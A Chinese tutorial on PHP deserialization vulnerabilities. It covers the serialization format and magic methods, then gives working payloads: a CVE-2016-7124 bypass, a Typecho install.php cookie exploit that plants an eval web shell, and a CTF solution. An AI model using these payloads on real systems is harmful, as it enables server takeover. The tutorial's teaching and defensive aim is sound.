1、基本概念
序列化(串行化):将变量转换为可保存或传输的字符串的过程;
反序列化(反串行化):在适当的时候把这个字符串再转化成原来的变量使用。
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。
string serialize ( mixed $value )返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。
数据类型:长度:名字:属性个数{数据类型:长度:名称1;数据类型:长度:值1;}
mixed unserialize ( string $str )对单一的已序列化的变量进行操作,将其转换回 PHP 的值。
// 序列化
//定义一个类,类名是chybeta
class chybeta{
//定义一个变量
var $test = 123;
}
//new一个对象,实例化
$class1 = new chybeta;
//序列化创建的对象
$class1_ser = serialize($class1);
print_r($class1_ser);
文件名code1.php,输出结果:
O:7:"chybeta":1:{s:4:"test";i:123;}
其中,O表示对象,7表示对象名chybeta的长度,chybeta是对象名,1表示有1个属性,{ }里面的参数有key和value,s表示是string对象,4表示长度,test是key,i表示是integer对象,123是value
可见PHP的序列化与JSON数据类似,将各种类型的数据,压缩并按照一定的格式储存起来,这样也方便传输。
在PHP中对不同类型的数据用不同的字母来标识:
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
N 表示的是 NULL,而 b、d、i、s 表示的是四种标量类型,目前其它语言所实现的 PHP 序列化程序基本上都实现了对这些类型的序列化和反序列化,不过有一些实现中对 s (字符串)的实现存在问题。
a、O 属于最常用的复合类型,大部分其他语言的实现都很好的实现了对 a 的序列化和反序列化,但对 O 只实现了 PHP4 中对象序列化格式,而没有提供对 PHP 5 中扩展的对象序列化格式的支持。
r、R 分别表示对象引用和指针引用,这两个也比较有用,在序列化比较复杂的数组和对象时就会产生带有这两个标示的数据,后面我们将详细讲解这两个标示,目前这两个标示尚没有发现有其他语言的实现。
C 是 PHP5 中引入的,它表示自定义的对象序列化方式,尽管这对于其它语言来说是没有必要实现的,因为很少会用到它,但是后面还是会对它进行详细讲解的。
U 是 PHP6 中才引入的,它表示 Unicode 编码的字符串。因为 PHP6 中提供了 Unicode 方式保存字符串的能力,因此它提供了这种序列化字符串的格式,不过这个类型 PHP5、PHP4 都不支持,而这两个版本目前是主流,因此在其它语言实现该类型时,不推荐用它来进行序列化,不过可以实现它的反序列化过程。在后面我也会对它的格式进行说 明。
o标示在 PHP3 中被引入用来序列化对象,到了 PHP4 以后就被 O 取代了。在 PHP3 的源代码中可以看到对 o 的序列化和反序列化与数组 a 基本上是一样的。但是在 PHP4、PHP5 和 PHP6 的源代码中序列化部分里都找不到它。
class demo
{
private $test = 'cream';
}
$object = new demo();
$uns = serialize($object);
echo $uns;
文件名code2.php,测试结果:
O:4:"demo":1:{s:10:"demotest";s:5:"cream";}
注意:源代码中的属性名为,但是经过序列化后却变成了demotest,并且属性名的长度为10,不符合预期。这里涉及到 PHP 的属性的访问权限问题
我们知道属性访问权限有三个:private、protected、public,测试这三个属性的情况:
class demo
{
public $test = 'hacker';
private $test2 = 'pentester';
protected $test3 = 'redhat';
}
$object = new demo();
$uns = serialize($object);
echo $uns;
文件名code3.php,测试结果:
O:4:"demo":3:{s:4:"test";s:6:"hacker";s:11:"demotest2";s:9:"pentester";s:8:"*test3";s:6:"redhat";
(1)public,该属性序列化后的结果正常,在预期之内;
(2)private,私有权限,也就是说该属性只能由类使用,为了区别,在序列化后,private属性会在自己的名字前面加上自己所属的类名,也即变成了demotest2,但是其长度为啥是11呢?写到文件使用HEXDUMP查看便知。
根据结果表明:私有属性在序列后类名前后均有%00,也即%00类名%00属性名
(3)protected,该属性和private有些类似,但是长度怎么计算呢?看上图便知!protected在序列化时序列化后的结果是%00*%00属性名
class demo
{
public $test = 'hacker';
private $test2 = 'pentester';
protected $test3 = 'redhat';
public function test4($test)
{
$this->test4 = $test;
}
public function test5($test)
{
return $this->test;
}
}
$object = new demo();
$uns = serialize($object);
echo $uns;
文件名code4.php,测试结果:
O:4:"demo":3:{s:4:"test";s:6:"hacker";s:11:"demotest2";s:9:"pentester";s:8:"*test3";s:6:"redhat";}
发现和code3.php的测试结果一样,说明定义的方法不影响序列化的结果,总之:序列化只序列化属性,不序列化方法
//定义一个类user
class User
{
//定义两个变量
public $age=0;
public $name='';
//定义一个方法
public function PrintDate(){
echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
}
}
//反序列化
/*$xiaoming=new User();
$xiaoming->age=20;
$xiaoming->name=”zhangxiaoming”;
$xiaoming->PrintDate();*/
$user =unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:13:"zhangxiaoming";}');
//调用PrintDate函数
Var_dump($user);
$user->PrintDate();
文件名code5.php,测试结果:
object(User)
[ ]=>
int(20)
[ ]=>
string(13) "zhangxiaoming"
}
User zhangxiaoming is 20 years old.<br/>
注意:
-
在反序列化的过程中必须保证当前作用域下类是存在的,否则无法完成反序列化操作。
-
反序列化之后的对象在文件执行结束后就会被销毁
2、反序列化漏洞
PHP的反序列化漏洞又可以叫做 PHP对象注入漏洞,这种思想类似SQL注入,在unserialize接受的参数可控的情况下,通过注入我们可控的属性值,来控制类中的方法(危险函数)的执行,从而造成安全隐患。
魔法函数
php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用。
-
__construct(构造函数)当一个对象创建时被调用;
-
__destruct(析构函数)当一个对象销毁时被调;
-
__toString当一个对象被当作一个字符串使用;
-
__sleep magic方法在一个对象被序列化的时候调用;
-
__wakeup magic方法在一个对象被反序列化的时候调用。
等等
//定义一个类,名为TestClass
class TestClass
{
//定义一个变量
public $variable='this is a string!';
//定义一个方法
public function PrintVariable()
{
echo $this->variable.'<br/>';
}
public function __construct()
{
echo '__construct<br />';
}
public function __destruct()
{
echo '__destruct<br />';
}
public function __toString()
{
return '__toString<br />';
}
}
//创建一个对象
//__construct会被调用
$object =new TestClass();
//调用对象下的方法
$object->PrintVariable();
//对象被当做一个字符串
//__tostring会被调用
echo $object;
//脚本结束了,__destuct会被调用
文件名是code6.php,测试结果是
__construct<br />this is a string!<br/>__toString<br />__destruct<br />
//定义类
class Test
{
//定义两个变量
public $variable1 = 'BUZZ';
public $variable2 = 'OTHER';
//定义方法
public function PrintVariable()
{
echo $this->variable1. '<br />';
}
public function __construct()
{
echo '__construct<br />';
}
public function __destruct()
{
echo '__destruct<br />';
}
public function __wakeup()
{
echo '__wakeup<br />';
}
public function __sleep()
{
echo '__sleep<br />';
//return array('variable', 'variable2');
}
}
// 创建对象调用__construct
$obj = new Test();
// 序列化对象调用__sleep
$serialized = serialize($obj);
// 输出序列化后的字符串
print 'Serialized: ' . $serialized . '<br />';
// 重建对象调用__wakeup
$obj2 = unserialize($serialized);
// 调用PintVariable输出数据
$obj2->PrintVariable();
// 脚本结束调用__destruct
文件名是code7.php,测试结果是:
安全问题
现在我们了解序列化是如何工作的,但是我们如何利用它呢?有多种可能的方法,取决于应用程序、可用的类和magic函数。记住,序列化对象包含攻击者控制的对象值。你可能在Web应用程序源代码中找到一个定义__wakeup或__destruct的类,这些函数会影响Web应用程序。例如,我们可能会找 到一个临时将日志存储到文件中的类。当销毁时对象可能不再需要日志文件并将其删除。把下面这段代码保存为code8.php。
class LogFile
{
// log文件名
public $filename = 'error.log';
// 储存日志文件
public function LogData($text)
{
echo 'Log some data: ' . $text . '<br />';
file_put_contents($this->filename, $text, FILE_APPEND);
}
public function __wakeup()
{
echo '__wakeup deletes "' . $this->filename . '" file. <br />';
@unlink(dirname(__FILE__) . '/' . $this->filename);
}
}
$demo=unserialize($_POST["str"]);
文件名code8.php,上述代码可以删除服务器中任意文件
http://localhost/code6.php?str=O:7:"LogFile":1:{s:8:"filename";s:5:"1.php";}
class magic_test
{
private $test;
public $magic = "This is a magic function";
function __construct()
{
$this->test = new L();
}
function __destruct()
{
$this->test->action();
}
}
class L
{
function action()
{
echo "Magic function is so funny";
}
}
class Evil
{
var $test2;
function action()
{
eval($this->test2);
}
}
unserialize($_GET['test']);
文件名code9.php,首先看到了参数可控的unserialize,接着看到magic_test类中存在两个魔术方法 __construct和__destruct,其中看到__destruct方法调用了action(),往下看,发现 L 类中存在action但是仅仅是做了打印的操作,没什么利用点,再看Evil方法,发现action调用了敏感操作函数eval,因此,要是我们能够控制test2的值,就能实现任意命令执行,完成攻击。【https://annevi.cn/2019/04/20/php反序列化学习总结/】
在magic_test和Evil,接着我们控制 magic_test中的属性 test的值,为了执行代码,我们将test篡改为Evil的对象,并且篡改Evil的属性 test2为我们需要执行的代码。
构造payload如下:
class magic_test
{
private $test;
public function __construct()
{
$this->test = new Evil();
}
}
class Evil
{
var $test2 = 'phpinfo();';
}
$obj = new magic_test();
$data = serialize($obj);
echo $data;
文件名是code-payload.php,测试结果是:
O:10:"magic_test":1:{s:16:"magic_testtest";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}
提交测试:
http://127.0.0.1/code9.php?test=O:10:"magic_test":1:{s:16:"magic_testtest";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}
报错没有结果,找找原因,注意magic_test类下的$test是私有的,序列化的结果应该是%00magic_test%00test,也即发送POC是:
O:10:"magic_test":1:{s:16:"%00magic_test%00test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}
在上课的时候,有小伙伴提到在构造payload,想到使用下面的方法:
class magic_test
{
public $test; #这里权限修饰本来是private,为了方便赋值,先修改成public!
}
class Evil
{
var $test2 = 'phpinfo();';
}
$e=new Evil();
$ser_e= serialize($e);
$obj = new magic_test();
$obj->test=$ser_e;
$data = serialize($obj);
echo $data;
得到的结果是:
O:10:"magic_test":1:{s:4:"test";s:45:"O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}";}
test属性访问权限换成private之后,得到结果需要修改为:
O:10:"magic_test":1:{s:16:"magic_testtest";s:45:"O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}";}
在前端提交时,需要在magic_test前后加%00,也即:
O:10:"magic_test":1:{s:16:"%00magic_test%00test";s:45:"O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}";}
例外,以上结果中test的值是一个字符串,为了让test能够调用Evil中action方法,需要的是Evil对象,所以需要变换为如下的形式:
O:10:"magic_test":1:{s:16:"%00magic_test%00test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}
除了上述的魔法函数,还有如下的函数:
-
__call()是在对象上下文中调用不可访问的方法时触发
-
__callStatic()是在静态上下文中调用不可访问的方法时触发。
-
__get()用于从不可访问的属性读取数据。
-
__set()用于将数据写入不可访问的属性。
-
__isset()在不可访问的属性上调用isset()或empty()触发。
-
__unset()在不可访问的属性上使用unset()时触发。
-
__invoke()当脚本尝试将对象调用为函数时,调用__invoke()方法。
PHP反序列化漏洞原理归纳:
1、 参数用户可控;
2、 服务器中代码定义了魔术函数(__wakeup,__sleep,__construct/__destruct/__tostring等),并且该魔术函数中有危险函数,如命令执行类(exec/passthru/popen/system等)和文件操作类(file_put_contents/file_get_contents/unlink等)等函数;
3、 用户输入的数据(序列化之后的字符串)未经过滤或者过滤不严谨到达该危险函数,最后执行用户的输入。
3、CVE-2016-7124
触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。漏洞可以简要的概括为:当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过__wakeup()的执行。
class A{
public $a = "test";
public $b="hello";
function __destruct(){
$fp = @fopen("/var/www/html/".$this->b.".php","w");
echo "/var/www/html/".$this->b.".php";
@fputs($fp,$this->a);
@fclose($fp);
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up...n"."<br/>";
}
}
$test = @$_POST['po'];
$test_unser = @unserialize($test);//对象
//po=O:1:"A":2:{s:1:"a";s:18:" phpinfo(); ";s:1:"b";s:5:"shell"
如下的代码也可以练习:
根据CVE-2016-7124构造POC,如下
class Test
{
private $poc = '';
public function __construct($poc)
{
$this->poc = $poc;
}
function __destruct()
{
if ($this->poc != '')
{
file_put_contents('shell.php', '<?php eval($_POST['shell']);?>');
die('Success!!!');
}
else
{
die('fail to getshell!!!');
}
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v)
{
$this->$k = null;
}
echo "waking up...n";
}
}
$a = new Test('shell');
$poc = serialize($a);
print($poc);
运行poc.php,得到结果如下:
http://localhost/Serialization_vulnerability/CVE_2016_7124/demo.php?poc=O:4:"Test":1:{s:9:"Test poc";s:5:"shell";}
接下来需要修改两个方面:
-
将1改为大于1的任何整数
-
将Testpoc改为%00Test%00poc
http://localhost/Serialization_vulnerability/CVE_2016_7124/demo.php?poc=O:4:"Test":3:{s:9:"%00Test%00poc";s:5:"shell";}
然后getshell,直接访问写的文件:
4、Typecho反序列化漏洞
Typecho
Typecho是一款内核强健﹑扩展方便﹑体验友好﹑运行流畅的轻量级开源博客程序。基于PHP5开发,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,适用范围十分广泛。
漏洞介绍和复现
Typecho博客软件存在反序列化导致任意代码执行漏洞,恶意访问者可以利用该漏洞无限制执行代码,获取webshell,存在高安全风险。通过利用install.php页面,直接远程构造恶意请求包,实现远程任意代码执行,对业务造成严重的安全风险。
影响版本:Typecho 0.9~1.0
漏洞的入口出现在install.php页面,代码如下:
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}
$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port'])) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}
上述代码经过了两次的判断,我们继续跟进,在install.php 232行~237行:
出现一个比较明显的反序列化漏洞,首先获取到cookie中的__typecho_config值base64解码后,然后进行反序列化。想要执行,只需isset($_GET['finish'])并且__typecho_config存在值。反序列化后把config['adapter']和config['prefix']传入Typecho_Db进行实例化。然后调用Typecho_Db的addServer方法,调用Typecho_Config实例化工厂函数对Typecho_Config类进行实例化。
Feed.php中__get()方法---->Request.php中的applyFilter函数----->call_user_func(代码执行)
复现漏洞
访问URL:
http://192.168.186.140/build/install.php?finish=1
使用BP进行抓包,如图:
抓到包之后我们在BurpSuite点击右键,发送到Repeater,并将POC文件中的Cookie和Referer复制到BurpSuite中修改Referer的IP为192.168.186.140,如图所示。
点击“GO”,可以看到
POC:
Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
Referer:http://IP/install.php
也即:
a:2:{s:7:"adapter";O:12:"Typecho_Feed":4:{s:19:"Typecho_Feed_type";s:8:"ATOM 1.0";s:22:"Typecho_Feed_charset";s:5:"UTF-8";s:19:"Typecho_Feed_lang";s:2:"zh";s:20:"Typecho_Feed_items";a:1:{i:0;a:1:{s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:57:"file_put_contents(’404.php', '<?php @eval($_POST[i]);?>')";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:7:"typecho";}
如图返回状态码为500的数据包就代表成功了。我们这时使用中国菜刀连接
5、bugku 文件包含和PHP反序列化漏洞CTF练习题
访问URL:http://192.168.2.101/,提示 you are not the number of bugku ! 查看页面源代码发现有当前页面的代码
txt参数可以使用php://input绕过,效果如下
然后需要包含file参数,但是需要包含文件需要做信息收集,index.php、hint.php、flag.php,三个页面。直接包含flag.php会提示“不能现在就给你flag哦”。所以可以试一试包含hint.php,里面的源码可以通过php://filter/convert.base64-encode/resource=hint.php查看。
解密如下:
查看hint.php以及index.php的代码我们可以知道,接下来需要使用反序列化去读取flag.php中数据。接下来需要构造password的值。
payload如下:
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
$f = new Flag();
$f->file="flag.php";
echo serialize($f);
运行结果为:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
http://192.168.2.101/index.php?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
在源代码中可以看到flag{php_is_the_best_language}
Yii2反序列化漏洞
ThinkPHP5.0.24 反序列化
这两个案例后面有时间在写吧!
6、PHP反序列化漏洞的防御
1.要严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则
2.要对于unserialize后的变量内容进行检查,以确定内容没有被污染
原文始发于微信公众号(SafetyTeam):反序列化系列漏洞之PHP反序列化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论